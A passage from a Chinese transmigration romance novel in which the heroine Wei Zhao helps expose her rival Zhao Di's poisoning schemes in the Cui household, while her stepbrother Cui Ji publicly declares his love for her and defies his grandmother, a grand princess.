很快她又醒来,对上的是一张干枯的脸,披散着白而稀的乱发,如铁爪般的手扼着她的喉咙,“你为什么要害我张家?” “……是张轩和张家对不起我,你们作践我磋磨我……还休了我……你们都该死!” “果然是你这个毒妇害死我们,快说!你给我们下的是什么毒?不说的话,我这就带你去见阎王!” 她拼命挣扎着,呼吸越来越紧,窒息濒死的恐惧笼罩着她,“是那个魏昭……她有一本记着很多毒方的毒经,我无意间看过……” “魏昭?她是谁?她怎么会有毒经?” “我不知道……” “你敢骗我们!”掐着她脖子的手加大了力道,声音越发阴森。 “我没有骗……你们……”她喘不上气来,不停地翻着白眼,“她……替大长公主挡了箭,被大长公主看中接到府中……学医又学武,还私下研究害人的毒……” “救了大长公主的人不是你吗?你在骗我们!” 那力道又强了几分,她再次感觉到死亡的来临,拼着最后一口气,“我没有……骗你们,她还嫁给了表哥,儿女双全……我也可以……为什么不行……我不甘……” 扼着她脖子的手松开,任由她软软地倒下去,先是探了探她的气息,然后用帕子捂了她口鼻一会儿。 黑暗中,有人慢慢现身,正是独孤岚。 “原来如此,倒是有些稀奇。” 先前装神弄鬼之人问道:“殿下,要不要把人弄醒再审?” “不必了。”独孤岚居高临下地睨着倒在地上的人,“内宅困兽,眼界甚窄,纵有老天垂青,却不懂为之利用,只知抢别人的机缘,倒是本宫高看她了。” 尔后,又道:“倒是崔洵那个继女,或许是本宫小瞧了。” 她们走后,寂静再无声。 不知过了多久,屋顶上一动不动的人终于动了,瞬间消失在黑暗中。 * 夜深人不静,哪怕快近丑时,魏昭还是没有睡意。 忽然她听到外面传来细微的动静,赶紧过去将窗户打开,打眼就看到一道黑影过来。 “知之。” 她忙去开门,让人进屋。 烛火亮起,照在来人的身上,如地狱的使者来到人间,从黑暗走向光明,像是由无常到神子的蜕变。 他径直坐下后,还给自己倒了一杯茶。 恍惚之间,连她都有种错觉,仿佛他不是深夜来访之人,而是忙完工作后回到家里,似她的丈夫一般。 她下意识掐了掐掌心,提醒自己正事要紧,切莫由着自己的心不管不顾地沉沦,更不能陷进去。 “兄长,你这么晚还过来,是不是有什么事?” 他将茶杯放下,抬眸看她,“张轩说的那个神医……” “是我派去的人。”她将自己察觉到赵狄有意针对自己后,就让人去濯州打听消息的事一说。“我想着知己知彼,日后在应对她时,也能有些底气。” “她确实是有大问题。” “兄长,你是不是有什么发现?” 崔绩起身,朝她走来。 一步一步靠近,目光始终不离她,等近在咫尺,眼神越发幽沉,“我外祖母用了些手段,审出了一些事。” 她闻言,心念一动,“她说了什么?” “她说张家人欺她,张轩负她,还将她休弃。原本替我外祖母挡箭之人是你,住进公主府的人也是你。” 果然是这样! 怀疑得到了证实,魏昭并没有多大的惊讶,却不得不做出震惊的样子。 赵狄抢了她的机缘,又处处针对她算计她,到底是为什么?难道她住进公主府后有什么大造化? 她正思忖着,人已落入坚实的怀抱。 男人的气息将她包围,如同一张无形的网,让她无处可逃。 “她还说我们成了夫妻,你还给我生了一双儿女。” “!” 也就是说她不仅嫁了给他,还给他生儿育女。 这……这可能吗? 那女主呢? 第65章 一时之间, 她忘了两人还抱在一起,心思飞速运转着。 身为一名穿越者,在遇到这样的事时, 第一个念头就是质疑,质疑重生之人口中的是不是自己。 从赵狄的行事来看, 重生之前的她也开了一家名为人面桃花的铺子,且也是学医习武之人。独孤岚遇刺时, 原本挡在前面的人也是她。 她没有对方口中的毒经,但她用那些东西来研究解药时,首要的就是要弄清楚里面的成分,所以日后极有可能会将它们汇集成册。 照这么说来,那个她就是她。 那问题又绕回来了, 如果后来嫁给男主的人是她, 女主去哪了? 当男人的气息一下子牢牢将她锁住, 与她唇齿相依时, 她还能分出去一些心神,胡乱地想着是不是女主出了什么事, 系统怕书中世界崩溃,所以让她这个恶毒女配顶上? 蓦地, 她心头警铃大作。 要死了! 这不是简单的甜宠文, 而是限制甜宠文, 如果她被抓壮丁代替了女主, 那她…… 刹那之间, 无数不可描述的场景涌上她心头, 里面的男女是她和崔绩,颠鸾倒凤极尽情与色,无休无止的没羞没臊。 更可怕的是, 她明显感觉到紧贴着自己的人,身体已经发生了危险的变化,一下子理智回来,试了几下没把人推开后,狠狠地咬了一口。 崔绩的动作停了下来,暗得吓人的眸底隐有一丝笑意,这才将她放开。 她的瞳仁似笼罩了一层爱意弥散开来的雾气,缭绕着朦胧的氤氲,见山不是山,看水不是水,却是人间至美的风景。 “上次你也咬我了,这下我们又扯平了。” “你就这么想和我两清?” 两清当然是不可能。 且不说别的,关键的是她还有剧情任务没有完成,所以眼下不应纠结赵狄说的那些话,而是顾好自己该做的事。 思及此,她眼里的雾气渐散,取而代之的是坚定,“兄长,我既然出手了,便没有放过或者收手的道理。” 赵狄于她而言,可不是一只让人厌烦的苍蝇,而是一只毒虫。她不可能再放任这么一只毒虫继续在暗中害她,一旦行动就必须到底。 烛火暖黄,夜静幽幽。 火光的投影中,两人的头似是都靠在了一起,看上去亲密非常。 一番商谈谋划,已快近寅时。 魏昭将人送出门,忽地又冒出送夫离家的错觉。 青梅树依依,是恬淡,也是深情。 * 赵狄的事,盛氏没有瞒着赵老夫人,派人去接她回来。 她应是一路哭着回来的,神色憔悴双眼红肿,瞧着比先前更显老态了些。一看到盛氏,不知是腿软,还是真的要跪,一下子就弯了膝盖。 盛氏一把扶着她,同吴嬷嬷一起将她拉起来。 “姐姐,欣然就是我的命啊,你要相信她,她无论如何也做不出那样的事来,定是张家的小子胡乱攀咬她,你可一定要替她做主啊。” 若是搁在从前,这话盛氏自然是深信不疑。 而今经历过种种,她内心其实更信张轩。但她到底偏心自己的妹妹,未说任何不好听的话,只说案子已交由崔绩,崔绩肯定会将事情查个水落石出。 赵老夫人抹着眼泪,“欣然在濯州时,最记挂的就是绩哥儿。姐姐,你快让绩哥儿严刑拷打张家那小子,他必然会招认的。” “他是苦主,岂能严刑拷问?”盛氏皱起眉来,显然有些不悦。 不分青红皂白就动大刑,那是昏官所为,她的大孙子怎是那样的人? “绩哥儿是安元府的少尹,有人诬蔑他嫡亲的表妹,哪里是什么苦主,分明就是血口喷人的诬告。对付这样的人,不大刑侍候他怎么可能会招?姐姐……” “姨祖母,这是天子脚下,为官之人的一举一动很快就能传到陛下耳朵里,您是想让我兄长被别人弹劾,被陛下训斥,搭上自己的前程吗?” 赵老夫人闻言,转身朝门口看去。 来的不止是魏昭一人,还有与她一起的魏绮罗,以及在听闲堂外碰到的林氏杨氏崔明静和崔明淑。 几人齐齐入内,她只盯着魏昭一人,眼神透着凶光,“长辈们说话,哪有你插嘴的份,当真是没有教养!” “我在崔家八年,从未有人说过我没有教养,姨祖母一来就拿这话压我,难不成是觉得我祖母没有把我教好?” “你……姐姐,你听听,我说她一句,她说一堆话等着我,一个小辈敢这么和长辈说话,你可不能由着她。” “姨祖母真是唯恐我崔家不乱,先是想让我兄长冒着丢前程的风险帮你孙女颠倒黑白,现如今又怂恿我祖母教训我,您是嫌我崔家太清静,想给我们多找些事吗?” 魏昭如此硬刚寸步不让,众人自是惊讶。 崔明淑嘟哝一句,“四妹妹,还真是时不时就让刮目相看。” 赵老夫人被顶得脸胀成牛肝色,面上更显凶相,死死地瞪着魏昭。 事到如今,魏昭不打算再装什么乖巧。因为赵狄说的那些事,独孤岚必会重新注意她,她再装也没什么用,倒不如不再忍着憋着。 “说到教养,怕是没几个人能比得上欣然表姐。烦请姨祖母告诉我,您是怎么教养她的,竟然让她被人拿着血书状告下毒灭门,简直是骇人听闻!” “……你……”赵老夫人气极,又哭起来,“姐姐,你就由着她一个小辈这么说我?” 盛氏眉头皱得更紧,被她哭得头都疼了。 “你先别急,这案子绩哥儿接了手,就一定不会冤枉任何人。” 这个任何人可以是赵狄,也可以是张轩。 赵老夫人大急,因为这不是她想要的答复,“姐姐……” “母亲,又出事了!”崔涣的声音打断了她的话,几步进来后,气都没有喘匀,赶紧又道:“欣然身边的那个丫环死了!” 欺霜是自尽的,死前留有遗书一封,说她心疼自家姑娘被张家逼着退亲,实在是气不过,就想着报复回去。 药方子是她无意间得到的,所有的事全是她一个人做的,与赵狄无关。 “姐姐,你听到了吧,我就说欣然做不出来这样的事。”赵老夫人双手合十,嘴里念叨着感谢佛祖保佑之类的话。 除了她之外,其他人都在沉默,包括盛氏。 盛氏的眉头并未舒展,显然在思量什么。 世家高门最重颜面,若真有什么龌龊之事,首当其冲的就是遮丑。而今欺霜一死,保全了赵狄,也间接保全了崔家的名声。 毕竟像崔家这样的门第,如果有个灭人满门的表姑娘,传出去难免让人质疑崔家姑娘们的人品性情。 这也就是所有人都不说话,连崔明淑都闭嘴的原因。 诡异的安静中,魏昭上前,对盛氏道:“祖母,您相信这事是欺霜一人做的吗?” “你这个黑心肝的,你就不盼着我家欣然好?”赵老夫人抬手过来,被她一把抓住。 其力道之大,让赵老夫人心惊,“你……你……” “姨祖母,一个丫环害人满门,这种话您自己信吗?” 这样的魏昭,对于崔家上下而言极其的陌生。 魏绮罗却红了眼眶,仿佛又看到以前那个天不怕地不怕的侄女。 “昭丫头。”林氏出声道:“事实摆在眼前,欺霜自己都认了罪,这事也就了了,难不成你还要闹得大家都不安生才好?” 一时之间没有人说话,应是都觉得此言有理。 就连魏绮罗拼命给她使眼色,示意她见好就收,她轻轻摇了摇头,暗道有些事不能姑息,有些人也不能放过! 她还抓着赵老夫人的胳膊不放,冷而平静的目光看着其他人,“欺霜一死,说明有人已经心虚,事实的真相如何,相信你们心里应该都有数。我只问一句,你们敢赌吗?赌张家的事不会发生在我们崔家?” 一语惊醒所有人,就连盛氏都倒吸了一口凉气。 “你胡说什么?”赵老夫人气极,另一只手挥过来,被魏昭一挡,“姨祖母,您真的不知道您孙女是什么人吗?” 赵老夫人被问住了,脸色惊疑不定。 这个当口魏昭将她放开,说起人面桃花的事,并未说自己一直防着赵狄,只说赵狄退回去的那三盒桃花粉无意间打破了一盒,铺子里的在清理时觉得手痒,才发现问题。 “我不知她为何要这么做,但她像是有先见一般,从一进府就救了祖母一命,再到推开我替大长公主挡箭,处处都透着古怪,好似事事都在她的预料中。” “知之,你的意思是她早就知道要发生什么事?她是怎么知道的?”魏绮罗纵是不清楚她到底想做什么,却知道该如何配合她。” 她望向盛氏,“祖母,事已至此,难道您还要替她隐瞒吗?” 这话一出众人皆惊,齐齐看向盛氏。 “姐姐,你别听她胡言乱语,她就是不满欣然入了大长公主的眼……” “老大,绩哥儿!”盛氏望着来人,繁乱的心顿时有了主心骨。 长子长孙,才是整个崔家的顶梁柱。 她问崔绩,“绩哥儿,案子可结了?” 崔绩大步过来,站到了魏昭身边。 两人相视一眼,尽在不言中。 “回祖母的话,案子还未结,且还有新发现。”他清冷幽深的目光落在赵老夫人身上,“请问姨祖母,你们分明提前抵京,却在樊兆县停留两日再入城,到底是为何?” 盛氏面色一变,下意识看向赵老夫人。 赵老夫人猝不及防之下,根本来不及找说辞搪塞。 崔绩越过她,睨向林氏,“二婶可否告知,您既知她们提前到达,为何不告诉祖母,反倒瞒着所有人私下去见她们?” 林氏目露惊愕,瞬间白了脸。 第66章 * 赵氏祖孙进崔府的前两日, 已抵达至樊兆县。 樊兆县就在安元府治下,仅城墙之隔。 林氏那日去见她们时还特意遮掩过,以为自己做的人不知鬼不觉, 却不想被崔绩在众人前面戳穿。 她想否认,但在崔绩面前没由来的心虚不说, 还矮了自己身为长辈的气势,嘴张了张, 又徒劳无功地合上。 这样的反应,无疑是默认。 盛氏心里的难受无人能知,看她的目光越发失望,“老大家的,这事你怎么从来没有说过?” “姐姐, 没有的事, 是不是有人看错了?”赵老夫人说这话时, 底气明明不足。 “姨祖母的意思是, 我兄长在胡说?” 魏昭这一开口,又将众人的注意力吸引过来。 她的艳姿绝色与崔绩的俊逸出尘, 一个是花开荼蘼的热烈似火,另一个则是雪落松柏的清冷如玉, 一个热一个冷, 竟是超乎寻常的相得益彰。 哪怕是这种时刻, 杨氏的眼睛都泛起惊艳之色, 同时又有几分古怪。 盛氏最看重长子长孙, 长孙是她的骄傲, 她不容许任何人质疑大孙子的人品,哪怕是自己的妹妹也不行。当下虽然什么话也没说,但那看向赵老夫人的目光昭示着自己的不悦。 赵老夫人识趣了闭了嘴, 又撇了撇,再抿了抿,分明是不甘。 “把人带上来。”崔绩对外面的斗南说。 很快他说的人就被带进来,众人再次一惊。 “比翼,你们……” 一共是三人,皆是几桩事后被发卖出去的人。 一看到他们,林氏的神情又是一变,身体跟着晃了晃。 崔明静扶着她,用乞求的目光看着崔绩,“大哥,你是崔家的长孙,家丑不可外扬,你不能为了查案子什么都不顾啊。” 崔绩似是没听到,直接让那几人说话。 几人所言皆指向一人,那就是林氏,他们都是奉命行事,用的东西也是林氏提供。 “果然是你!”崔明淑气得跳起来,死瞪着自己的嫡母,一副恨不得生吞活剥的模样,“是你害死了我弟弟,是你!” 崔涣几步过来,一把挥开崔明静的阻拦,一个大耳光就呼在了林氏脸上,“你说!你为什么要这么做?” 杨氏也跟着上前,愤怒地质问:“二嫂,我自问没有得罪过你,你为什么要指使比翼,意图搅和我三房?” 家宅不和,龌龊滋生,盛氏痛苦地闭了闭眼睛。 她声音都透着无力,低却沉痛,“老二家的,那日我突然晕了过去,是不是也是你做的?” “你还敢害母亲?”崔涣再次动手。 林氏捂着自己的脸,看着他们,目光渐渐发生变化,从忐忑到疯狂,恨意从眼底漫了出来。 “是我做的,全是我做的,又如何?崔涣,是你对不起我,是你们崔家对不起我!” “娘,您乱说什么?您别吓我!”崔明静确实被吓坏了,她平日里再是稳重,自以为最有大家风范,一旦遇到这样的变故,压根没有办法镇定。 林氏已经不管不顾了,一把将她推开,直面崔涣,眼里再无往常以夫为尊的敬重,而是浓烈的恨意。 “你如今只记得他们的儿子,生出来的,没生出来的,你却忘了我们也曾有过一个儿子。可怜我的儿子,还没来得及睁眼看看这世间,就被夏秋那个贱人给害死了!” 夏秋就是夏姨娘,原是崔涣的大丫环。 林氏怀上第一胎后,夏姨娘成了崔涣的房里人。她是陪伴崔涣长大的人,情分自是非同一般,这也是她多年来敢作妖的底气。 哪怕是这样的时刻,崔涣还不忘护着她,“你自己不小心落了胎,你竟然还怪秋儿?” “若不是她故意气我,我怎么会动了胎气?”林氏喊着,“她害死了我儿子,我也要她的儿子偿命,这是她的报应!” “你害死的是我的儿子!” 崔涣气极,一把掐住她的脖子。 崔洵赶紧过去,费了些力气才将她解救,她被崔明静扶着,哭哭笑笑,断断续续地诉说着自己的委屈与怨恨。说她儿子死的不明不白,说崔涣宠妾灭妻,说自己为崔家劳心劳力,换来的却是不公平的对待。 一室的压抑,弥漫着不安。 盛氏重重地叹了一口气,“老大家的,我没想到原来你有这么多的不满。事已至此,这个家也容不下你了。” “祖母!”崔明静大急。 如果林氏的事传了出去,名声毁了,人也被休了,那她在崔家没有脸面与依仗不说,便是嫡女的身份都保不住。 她到底是嫡长孙女,盛氏不得不顾及一些,“那就去庄子上住着,不许再踏进崔家半步。” 这个意思是仅保留体面,旁的都没了。 庄子和府里的不能比,尤其是表面上养病,实际是被驱逐之人,就连庄子上的管事都敢欺,这些日子赵老夫人是深有体会。 “姐姐,我的命怎么这么苦?母亲去的早,她走的时候我才五岁,你答应过她会好好照顾我,可是我的命没有变好,白发人送黑发人,丈夫也死在前头……” 盛氏被她哭的心又软,或许是想到了死去的母亲,也或者是想到了自己对母亲的承诺,看她的眼神心疼中带着几分复杂。 她最是知道如何拿捏盛氏,接着哭自己这些年的不易。但不等盛氏心软,她的哭声被崔绩打断。 “二婶,我问你,你给他们的害人之物,是从何而来?” 事情到了这个地步,林氏还有什么不能说的,“是欣然给的。是她找的我,让我和她合作。她帮我清理二房,我帮她在府里站稳脚跟。” “你……你胡说,是你自己想害人,与我家欣然何干!”赵老夫人哭得更大声,“姐姐,我赵家就剩欣然这点血脉,她是我的命啊……” 张家的案子有欺霜顶罪,崔府的这些事,如果赵狄拒不承认,盛氏又态度摇摆,她极有可能把自己摘干净,但魏昭不允许这样的结果。 “祖母,您要三思。”魏昭再次开口,虽是在劝人,语气却极其的坚定,“张家今日之祸,足以让人警醒,万不能重蹈覆辙。” 她走到这个地步,绝对不同意有人因为心软而就此作罢。 相信赵狄也是一样,倘若这次能抽身,既然已经明牌了,也不可能会放过她,待日后风平浪静之后定然有更大的阴谋等着她。她实在是不想给自己留一个那样的隐患,纵是没被算计到,也被恶心到。 “恶人毒虫,皆不可放任,否则定会祸患无穷!” “你这个贱……死孩子,你说谁是恶人毒虫?”赵老夫人目露凶光,一副想撕了她的模样,“我看你就是个黑心肝的……” 崔绩颀长的身体微微一动,挡在她面前,“我四妹妹对事不对人,她说恶人毒虫不可放任,敢问姨祖母,这话可有错?” 她被他护在身后,视线之中是一片雪色,却不觉得冷。 他们的容貌与姿态,是金童玉女,也是一双璧人。 赵老夫人看着他们,用手指了指,“你……你们……” 那凶光毕现的眼睛里,划过一抹算计,“姐姐,你看到了没有?你这个继孙女怕是别有居心,我就说她为什么处处针对我家欣然,原来她竟然把绩哥儿给迷惑了。” 这话一出,所有人皆惊。 不说是其他人,就连魏绮罗都愣了一下,等回过神后,骤然回归自己的本性,娇美的脸一沉,“姨母,您好歹也是长辈,岂能这般为老不尊,什么浑话都敢说?” 继兄妹之间的关系本就敏感,她眼瞅着近日继子对女儿态度转变了些,生怕被有心之人乱嚼舌根,让继子因为有所顾忌而和从前一样冷淡。 “我有没有胡说,你问你的好女儿,不就知道了?”赵老夫人言之凿凿,语气中都是笃定。 一时之间,众人都看向魏昭,眼神各异。 魏昭心道,看来这个老太太是从自己的孙女那里知道了什么。 上梁不正下梁歪,祖孙俩没有一个是无辜的! 她不得不承认,她确实动了不该有的心思,但她对自己恶毒女配的身份有着清楚的认知,哪怕据赵狄所言自己会嫁给崔绩,在未走完剧情之前,她也不会有任何的表态。 正当她想说什么时,崔绩先一步给了回复,“姨祖母说错了,并非四妹妹对我别有居心,而是我对她动了不该有的心思。” “!” 他怎么就这么说出来了? 他们商量好的事里面,可不包括这一出啊! 剧情还没有走完,她连女主是谁都不知道,更不知道还有什么变故,他如此昭告众人,万一以后…… 心思一转,暗道这是他的事! 他嫌事情不够乱,弄出这么一摊子来,那他自己收拾好了。 如此想着,她尽量让自己面无表情,落在其他人眼里要么是惊呆了,要么是被吓傻了,反正就是事先压根不知情的样子。 崔绩回头看她,目光出奇的柔和温暖。 众人再惊。 尤其是盛氏,满脸的不敢置信,小心翼翼地问道:“绩哥儿,你……你刚才说什么?” 崔绩压着眉骨,瞳仁中全是近在咫尺的人,视之如花,亦如玉。 “四妹妹品性温良,我心甚悦之。” 第67章 这话震惊了所有人, 不止是屋子里的,还有正准备进屋的。 盛氏还反应过来,打眼看到外面的人, 惊得立马起身,“殿下, 您怎么来了?” 众人皆被惊醒,齐齐向独孤岚行礼。 独孤岚一步步上前, 气势骇人,那种生而矜贵高高在上,属于绝对上位者的威严,以及战场中厮杀出来的强大气场,世间无几人能入。 当那凌厉的目光扫来, 人人都是心头一紧。 尤其是盛氏, 不由得暗暗叫苦。 她们一个是祖母, 另一个是外祖母, 按理来说应该是地位平等,但她自来就矮一头, 身为祖母却不能插手大孙子的诸多事。 倘若独孤岚多心,以为是她为了将大孙子勾在崔府, 故意让貌美的继孙女行媚惑之事, 让大孙子深陷其中…… 她想到这里, 脸色比先前更难看。 视线移了移, 看到独孤岚身后的人, 下意识眯起眼来, “欣然!” 赵狄被两个嬷嬷一左一右地跟着,看似是随从,实则如同押解。 她不愿相信地喃喃着, “为什么?” 不是说是因为替大长公主挡了一箭,被大长公主接到公主府小住后,又是学医又是习武,所以才有后来的造化。 为什么她都照着做了,甚至还提前学了医习了武,结果还是这样? “赵狄!”崔明淑怒吼着,“你这个黑心肝的,害死我弟弟的毒是你给她们的,我要和你拼了!” 人很快冲了过来,被那两个嬷嬷拦下。 “祖母,父亲,是她……是她和她们合谋,害死了我弟弟,搅得我们崔家不得安宁,你们难道就这么放过她吗?” 崔明淑哭喊着,恨不得用眼神将赵狄碎尸万段。 赵老夫人一把将她推开,紧紧抱住自己的孙女,“欣然,我可怜的欣然,她们都冤枉你,她们都容不下我们祖孙……” 盛氏闻言,强忍着心中的难受,恭敬地请独孤岚上坐。 独孤岚厉目微敛,冷冷地问,“这是又查到什么了?” 崔绩上前,将事情一一道来。 他对独孤岚的态度,不像是祖孙,更像是君臣。而独孤岚看他的眼神,也仅是在看一个普通的下官。 “本宫竟不知,崔家近日发生了这么多的事。”她目光微斜,睨着林氏,“你所言可是真的?” 事到如今,林氏还有什么不能认的,当下指着赵狄,说自己被对方所蛊惑,为报杀子之仇鬼迷了心窍。 “你们不能这么欺负人,什么脏水都往我家欣然身上泼!”赵老夫人一把鼻涕一把泪的,“殿下,这些事和我孙女都无关!是她们存了歹心,事情败露后胡知栽赃,您别听信她们的一面之词。” 赵狄也跟着哭,“殿下,臣女确实提前抵了京,也与二表舅母见过,却并非如她说的那样,是商量什么害人之事,而是臣女的祖母一路奔波,身体有些不适,怕姨祖母见了心里难过,故而休整两日。” 她不光否认自己与林氏合谋,有完全不一样的说法,还质问林氏,“二表舅母,我一向敬重您,万没想到您竟然会落井下石,这般诬蔑我?” “我诬蔑你?”林氏讽刺一笑,“当真是好利的一张嘴,也难怪……我会被你一怂恿,竟然昏了头。你不会以为仅凭一张嘴,就能把自己摘干净吗?我倒要看看,你能有什么好下场!” “二表舅母,您这么说我,是想逼死我不成?” 她愤怒着,委屈着,作势要去撞柱子,却被赵老夫人死死抱住。 “祖母,您就让我去吧,我被人冤枉成这样,哪里还有活路,倒不如死了的好……” “欣然,我可怜的孩子,你要是走了,祖母也活不成了!”赵老夫人放声痛哭,“姐姐,我们祖孙俩快被人逼死了……” 她们哭的可怜,倒真像是被人逼到了绝路上。 赵狄的所做所为让盛氏失望至极,却又对赵老夫人于心不忍,一时情感十分矛盾,话到了嘴边又咽下去。 “啪” 一声清脆的耳光响起,所有人看向不知何时到了她们面前的人。 这是魏昭第二次扇赵狄,赵老夫人依然没能拦住,其愤怒可想而知,“你这个黑心肝的,都怪你……” 魏昭挡下她反击的同时,面无表情地问赵狄,“你想死没人拦着,但你不能死在崔家。你若是横死在崔家,你让世人如何看我崔家?我崔家百年清名,容不得你抹黑!” 不等她们祖孙再说什么,又对盛氏道:“祖母,是我放肆了。” 盛氏叹了一口色,摆摆手让她退到一边。 她当着这么多人的面出头,自是引得独孤岚精明凌厉的目光停在身上许久,“那人面桃花的铺子,本宫也有所耳闻,没想到竟然是你开的。” 这话可不是好奇,而是试探。但如今对她而言,不管怎么样的试探,已经没有再遮遮掩掩的必要。 何况她之所以开胭脂铺子,而不是其他的铺子,是经过深思熟虑的。 她生母的娘家曾算得上是富户,曾经开过胭脂水粉的铺子,更有甚者,祖上还做过药材生意。是以独孤岚这一问,她不仅回答了开胭脂铺子的缘由,还顺便主动提起自己略通些药理。 “民女的娘嫁妆里除了一些胭脂水粉的方子,还有几本医书,臣女闲来无事时常看,也爱瞎琢磨,那桃花粉就是臣女比着方子再加了几味药材乱鼓捣出来的。” 独孤岚也不知是信了,还是不信,淡淡地来了一句,“你倒是有几分聪明。” 魏昭权当她是在夸自己,未表现任何的心虚。 半晌,她威严而优雅地起身,不紧不慢地对盛氏道:“本宫原想着将人留在公主府,也能看管一二,没想到竟然出了人命,本宫只能把人送回来,案子还未了结,你们上心些,莫要出什么岔子。” 所以关键是案子,而非内宅之事。 因为大户人家的后宅,哪个都有不少的阴私,不管如何算计,但凡是没有真正闹出人命来,黑的白的谁说得清,真的假的更是无从分辨。 她经过崔绩时,冷声道:“你跟本宫回去。” 魏昭闻言,下意识去看崔绩。 或许是心有灵犀,两人的眼神对上,一个隐有担心之色,一个则轻轻摇了摇头。 * 公主府上下皆知,府里的两位主子都是性子冷淡之人。 大主子为人严肃不苟言笑,小主子清冷孤僻不近人情,在外人看来是祖孙俩相依为命,而事实却是疏离生分。 雕梁画柱富丽堂皇如宫殿的屋内,下人们已尽数退出去,除了荣嬷嬷。 荣嬷嬷随侍在旁,先是扶独孤岚坐下后,又给其腰后塞了个垫子,再倒了一杯热茶,送到她手上。 她慢慢地喝了半杯茶,这才抬起眼皮来,锐利的目光如刀,似是能把人心剖开。 “说说吧,什么时候的事?” “孙儿也不知道。” 她冷哼一声,重重地放下杯子,茶水溅了出来。 “你是不是故意气本宫?本宫不让你如何,你偏要如何?” 高梁穹顶内,回荡着她的声音。 她的怒火似万箭,齐齐朝崔绩发来。荣嬷嬷离她最近,也最能感受到她的情绪,这样的情形很多年也曾有过,只不过换了人。 “你为了气本宫,竟然当众说出那样的话来,你将本宫置于何地!” “孙儿从未有过此意,只是心之所向不由己。” “好一个不由己!”她一拍桌子,力道之大震得茶杯都倒了,滚了几下掉在地上,摔了个粉碎。 须臾,她人已到了崔绩面前,压制着快要失控的情绪。 “婚姻之事,岂是儿戏?门不当户不对,且不说她出身低,单就说她是你的继妹,你就不怕世人耻笑吗?” “孙儿心悦于她,若能在一起,必然心中欢喜,无惧旁人说什么。” “你不惧?那本宫呢?” “那外祖母觉得,世人的言语和孙儿的欢喜,哪个更重要?” “人生在世,颜面最重要,树无皮则死,人无脸不活!”她低吼着,双手成拳,情绪已然有些控制不住。 过了好一会儿,气息渐渐平静了些,“绩儿,你记住,任何不被长辈们所容的儿女情长,到头来都会害了自己。” 崔绩望着她,忽然扯了扯嘴角,不知是笑还是哭,“像我娘一样吗?” “你说什么?”她徒然气势大变,整个人散发着强烈的杀气,“你这个孽障!谁允许你这么跟本宫说话的,谁允许你这么说本宫的女儿!” 蓦地,她想到了什么,“你都知道了?你什么时候知道的?” 又冷哼一声,“知道了也好!那你就更应该知道本宫为何如此,你当明白本宫的一片苦心,早点断了那不切实际的心思!” 见崔绩没有回答,瞬间气势大变,“你敢忤逆本宫?” 她镇守边关多年,上过战场杀过敌,气势非寻常人可比,但崔绩亦戍边好几年,同样经历过战场残酷,自是不怕这样的威压。 一时之间,祖孙俩如同对峙。 屋子里静得吓人,像是战事前的沉寂。 崔绩垂下眼皮,声音很低,“孙儿只问一句,我娘死的时候,可有后悔?” 她闻言,整个人都怔了。 仿佛回到很多年前,脑海中反反复复回荡着一句话,“娘,我不后悔……” 那是她的女儿,她最为疼爱的亲生女儿! 她永远记得那一日,女儿在她面前突然晕了过去,然后被诊出有了身孕,她第一反应是愤怒,恨不得将已经死了人再挖出来鞭尸。 当时女儿哭着求她,说什么也要把孩子留下来,若不然宁愿死也不肯独活,她无奈之下被迫同意。 别人十月怀胎是为新生,而她的女儿却是奔着死路去的,害死她女儿的人,有什么资格质问她! “你不配提她!” “孙儿记下了。”崔绩缓缓抬头,一如既往的平静,眼神中未见任何的情绪,无论是愤怒激动,还是伤心难过。 尔后,他朝她恭敬行礼,“若无其它事,那孙儿就告退了。” 她望着他离开的背影,忽然觉得有什么东西脱离了自己的掌控,像是被人生生从心底剥离,血与肉都在撇清着关系。 良久,似自言自语,“蔚儿,这孩子和你真像啊……” 第68章 * 此时的崔府, 乱成一团。 一是林氏要被送去庄子上,二是赵家祖孙继续留在府里。 林氏已等同二房的弃主母,崔涣如今对她是厌恶至极, 看都不想多看她一眼。她做的那些事,自有苦主们闹到面前。 不说是夏姨娘, 就连沈姨娘也冒了出来。沈姨娘在崔涣面前哭得厉害,说自己先前的怀疑没有错, 林氏就是动了害崔砚的心思。 面对崔涣恶狠狠的质问,林氏不承认,也不否认。 这般态度,等同于默认,崔涣的愤怒可想而知, 险些动手。若不是崔明静挡在林氏面前, 林氏怕是要吃拳头。 夫妻成了仇敌, 除了一纸休书, 已然没了半点情分。 二房的乱相,不会随着林氏被送走而平息, 只会进入到下一个阶段。 还有赵家祖孙那里,恐怕也会不安生。夏姨娘和崔明淑不会放过她们, 她们纵是被盛氏派人严密看管着, 也不知还会不会生出什么是非。 这座百年清流的书香府邸, 或许要迎来自建府以来最为混乱的时期。 魏昭决定出去躲一躲, 不光是躲清静, 还有自身的原因。 崔绩当众说了那样的话, 尽管她假装自己毫不知情,但这事到底不合常理,府里必会滋生许多流言蜚语来。 为免别人尴尬, 自己也不太自在,还不如暂避风头。 对此,魏绮罗很是支持,“这种事好说不好听的,难免会有人说三道四,你回去住些日子也好。” 又道:“难怪我觉得大公子最近对你不一样,我还当他是有了人情味,将你当成了妹妹,却不想是存了那等心思……” 魏昭心说,她自己也没想到,明明拿的是恶毒女配的剧本,谁知走的却是女主的路线,也不知道是哪里出了错。 但是无论如何,不等到剧情任务走完,一切都是不确定。 她不说话,魏绮罗又从她的表情中看不出害羞来,问:“知之,你是不是不喜欢大公子?” “娘,这不是喜不喜欢的问题,而是可不可能的问题。” 且不说书里他们的人设,便是现实也是阻碍重重。 魏绮罗蹙着好看的眉,“也是,我们虽说是有意找个出身更好些的,却也没想到会这么好。他是崔家的嫡长孙,又是大长公主的亲外孙,自己又是个有能力的,再是心悦于你,恐怕也不肯入赘。” 一旁收拾东西的白鹤听到她这般感慨,心说大公子是肯的,反倒是自家姑娘不知是有什么心结。 主仆二人出了崔府后,直奔魏宅。 风师公已经回京,关上门后几人说了近一个时辰的话。 等到说完正事后,魏昭问起李戌。 月婆婆回道:“当日寿昌公主把木公子送来时,有人看到了,这几天总有人探我的话,问木公子是姑娘的什么人。我可不想听他们嚼姑娘的舌根子,就说他是寿昌公主的人,暂时住在这里而已。” 想了想,又道:“他自住进去后就没出过门,安安静静的倒是省心,姑娘可要见他?” 魏昭想了想,轻轻摇头。 她觉得若是没什么事,倒也没有见面的必要。 * 天很快就黑了。 月婆婆将饭菜做好后,送了一份去到隔壁。 真正论起来,她和风师公都不是下人,他们向来都是和魏昭一起吃的,如同一家人,没有大户人家的那些规矩。 入夜后的市井,比高门内宅中更为热闹些,不时还能听到妇人喊孩子回家的声音,以及路上往来之人的相互招呼声。 